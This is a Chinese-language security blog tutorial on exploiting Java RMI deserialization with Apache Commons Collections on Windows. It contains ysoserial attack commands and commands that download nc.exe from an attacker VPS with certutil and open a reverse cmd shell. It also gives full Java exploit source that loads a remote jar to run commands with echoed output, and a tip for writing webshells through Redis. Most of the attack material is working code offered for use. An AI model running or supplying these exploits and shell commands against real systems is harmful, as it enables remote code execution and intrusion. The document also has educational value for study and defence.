<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Java RMI 利用入門學習

    VSole2021-09-19 14:04:35

    Windows中遇到了Java RMI,反彈又不那么方便,這時該如何利用呢?It’s a question。正好加強Java學習了。

    預備知識理解

    Java

    RMI——Java遠程調用提供了不同機器之間進行對象方法訪問的能力,這樣的構架允許一臺機器的對象訪問另一臺機器的對象方法,而這種遠程調用必然需要傳遞對象數據結構,因此就需要序列化和反序列化,在此過程中,如果服務器上可以被使用的對象存在漏洞,通過客戶端構造相應的序列化數據就可以觸發漏洞。

    Apache Common Collections

    Java的第三方庫,提供更加強大的集合數據結構。它的一段代碼中存在調用方法和對象可控的情況,因此可以實現命令執行。在這種情況下,這個第三方包無論用或者沒用,都有可能被開發者打包進程序,成為程序中存在的對象,結合RMI機制,攻擊者就有可能調用到這些危險的對象。

    Java 8版本121更新后對RMI注冊類進行了限制,因此需要尋找白名單內的類存在漏洞的情況,參考文獻中列出了收集到的解決方法。

    測試環境搭建

    避開Java版本的坑之后,測試環境很好完成,寫一個RMI服務器,放入Common Collections第三方包,啟動服務器即可,詳細實現代碼如下:

    RMIInterface 接口

    import java.rmi.Remote;import java.rmi.RemoteException;
    public interface RMIInterface extends Remote {    String sayHello() throws RemoteException;}
    

    RMIServer 服務器

    import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;
    public class RMIServer implements RMIInterface {    public String sayHello() {        return "Hello World!";    }
        public static void main(String args[]) {        try {            RMIServer obj = new RMIServer();      RMIInterface stub = (RMIInterface) UnicastRemoteObject.exportObject((Remote) obj, 0);      LocateRegistry.createRegistry(1099);      Registry registry = LocateRegistry.getRegistry();      registry.bind("Hello", stub);      System.out.println("Server Start!");        } catch (Exception e) {      e.printStackTrace();    }    }}
    再將Common Collections放入開發環境的External lib中。這樣啟動起來的服務器已經可以被用來測試漏洞了。
    

    Ysoserial工具與測試利用

    java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsColections1 "calc"
    

    網上最常見的用法,我們對這條命令逐個分析。

    作為一款通用的Java反序列化利用工具,Yso具有廣泛的功能,我們這里主要聚焦于它的exploit和payloads兩部分。

    由上面的分析我們知道,這一類的漏洞需要兩部分來完成,協議交互部分完成與服務器的交互,這一部分由exploit來完成,payloads則提供進行反序列化的對象以及相應的攻擊功能。

    exploit中重點來看RMIRegistryExploit的代碼,另外會嘗試運行JRMPClient和JRMPListener,先知也有相關模塊的分析文章。

    RMIRegistryExploit,從名字就可以看出,主要是通過RMI的Registry來進行交互。main函數部分就是一個和RMI服務器進行通信的客戶端

    其中exploit函數負責生成類的實例,并且嵌入執行命令,再使用動態代理的方式進行傳遞。

    再來看CommonsColections1的部分,核心的部分在getObject中,這里實際上就是走了一遍CommonsCollection RCE的鏈,將用戶的執行命令放入到相應的對象調用中,再經過序列化處理。

    ##0x03 如何在Windows下實現回顯命令執行

    DNS查詢很容易,但是如何能夠更好的執行命令并回顯呢?

    在當時測試的時候,為了快捷,使用了遠程下載nc+執行nc反彈的方式回彈shell。

    java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 測試機器IP 1099CommonsCollections1 "certutil -urlcache -split -f http://VPS IP/nc.exe"
    java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 測試機器IP 1099CommonsCollections1 "D:\c.exe -t -e c:\\windows\\system32\\cmd.exe VPS-IP 65534"
    
    

    后來查詢資料發現了其他能夠回顯的玩法,基本有以下幾種想法,

    1. 能否在這里執行java代碼,利用java的方式直接反彈shell
    2. 利用URLClassLoader,遠程加載自定義類,接收到報錯返回的執行結果。

    具體代碼如下(來自先知社區),首先是遠程加載的自定義類

    ErrorBaseExec.jar

    package exploit;
    import java.io.*;
    public class ErrorBaseExec {    public static byte[] readBytes(InputStream in) throws IOException {        BufferedInputStream bufin = new BufferedInputStream(in);        int buffSize = 1024;        ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);        byte[] temp = new byte[buffSize];        int size = 0;
            while ((size = bufin.read(temp)) != -1) {            out.write(temp, 0, size);        }
            bufin.close();
            byte[] content = out.toByteArray();
            return content;    }
        public static void do_exec(String cmd) throws Exception {
            final Process p = Runtime.getRuntime().exec(cmd);        final byte[] stderr = readBytes(p.getErrorStream());        final byte[] stdout = readBytes(p.getInputStream());        final int exitValue = p.waitFor();
            if (exitValue == 0) {            throw new Exception("-----------------\r" + (new String(stdout)) + "-----------------\r");        } else {            throw new Exception("-----------------\r" + (new String(stderr)) + "-----------------\r");        }
        }
        public static void main(final String[] args) throws Exception {        do_exec("whoami");    }}
    RMIexploit
    

    import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;
    import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;
    import java.net.URLClassLoader;
    import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
    import java.util.HashMap;import java.util.Map;
    
    public class RMIexploit {    public static Constructor getFirstCtor(final String name)            throws Exception {        final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0];        ctor.setAccessible(true);
            return ctor;    }
        public static void main(String[] args) throws Exception {        if (args.length < 4) {            System.out.println(                    "        Usage: java -jar RMIexploit.jar ip port jarfile command");            System.out.println(                    "        Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar \"ls -l\"");
                return;        }
            String ip = args[0];        int port = Integer.parseInt(args[1]);        String remotejar = args[2];        String command = args[3];        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
            try {            final Transformer[] transformers = new Transformer[] {                    new ConstantTransformer(java.net.URLClassLoader.class),                    new InvokerTransformer("getConstructor",                            new Class[] { Class[].class },                            new Object[] { new Class[] { java.net.URL[].class } }),                    new InvokerTransformer("newInstance",                            new Class[] { Object[].class },                            new Object[] {                                    new Object[] {                                            new java.net.URL[] { new java.net.URL(remotejar) }                                    }                            }),                    new InvokerTransformer("loadClass",                            new Class[] { String.class },                            new Object[] { "exploit.ErrorBaseExec" }),                    new InvokerTransformer("getMethod",                            new Class[] { String.class, Class[].class },                            new Object[] { "do_exec", new Class[] { String.class } }),                    new InvokerTransformer("invoke",                            new Class[] { Object.class, Object[].class },                            new Object[] { null, new String[] { command } })            };            Transformer transformedChain = new ChainedTransformer(transformers);            Map innerMap = new HashMap();            innerMap.put("value", "value");
                Map outerMap = TransformedMap.decorate(innerMap, null,                    transformedChain);            Class cl = Class.forName(                    "sun.reflect.annotation.AnnotationInvocationHandler");            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);            ctor.setAccessible(true);
                Object instance = ctor.newInstance(Target.class, outerMap);            Registry registry = LocateRegistry.getRegistry(ip, port);            InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)                    .newInstance(Target.class,                            outerMap);            Remote r = Remote.class.cast(Proxy.newProxyInstance(                    Remote.class.getClassLoader(),                    new Class[] { Remote.class }, h));            registry.bind("pwned", r);        } catch (Exception e) {            try {                System.out.print(e.getCause().getCause().getCause().getMessage());            } catch (Exception ee) {                throw e;            }        }    }}
    

    打包之后執行回顯成功回顯,我編譯的時候還遇到兩個問題,一個是需要滿足JDK的版本要求,如果服務器JDK版本太低,客戶端太高時會報版本不匹配;另一個是命令執行回顯過多時會無法返回信息,還需調整。

    Redis Windows下寫shell的小tip

    Redis在進行持久化的時候,默認會進行壓縮,由于壓縮導致寫入的字符串存在亂碼,有些亂碼會影響文件解析,這時我們可以通過以下命令取消壓縮。

    config set rdbcompression no
    

    參考

    Apache Common Collections相關知識詳細參照這篇博客:``https://security.tencent.com/index.php/blog/msg/97

    繞過升級機制:http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/

    Github上一個不錯的Java漏洞項目:https://github.com/JoyChou93/java-sec-code

    命令執行回顯:https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/

    先知社區里的回顯代碼:https://xz.aliyun.com/t/2223

    stringrmi
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    JNDI漏洞利用探索
    2022-01-23 19:33:23
    最近學習了淺藍師傅尋找的一些JNDI漏洞的利用鏈受益匪淺,自己也嘗試關于JNDI漏洞利用做一些挖掘,目前JN
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    Java RMI 利用入門學習
    2021-09-19 14:04:35
    Windows中遇到了Java RMI,反彈又不那么方便,這時該如何利用呢?It’s a question。正好加強Java學習了。
    本文作者Betta,首發于火線Zone安全社區。
    Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。 簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
    RMI存在著三個主體RMI RegistryRMI ClientRMI Server
    深入理解 RMI 之漏洞原理篇環境是 jdk8u65本文側重于理解原理,攻擊篇會放到后續一篇中講。0x01 前言RMI 作為后續漏洞中最為基本的利用手段之一,學習的必要性非常之大。RMI 依賴的通信協議為 JRMP,該協議為 Java 定制,要求服務端與客戶端都為 Java 編寫。這個協議就像 HTTP 協議一樣,規定了客戶端和服務端通信要滿足的規范。
    該漏洞是繼CVE-2015-4852、CVE-2016-0638、CVE-2016-3510之后的又一個重量級反序列化漏洞。
    筆者繼續帶大家炒Fastjson的冷飯。關于漏洞分析和利用鏈分析文章網上已有大量,但是關于如何自動化檢測的文章還是比較少見的,尤其是如何不使用Java對Fastjson做檢測。
    通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类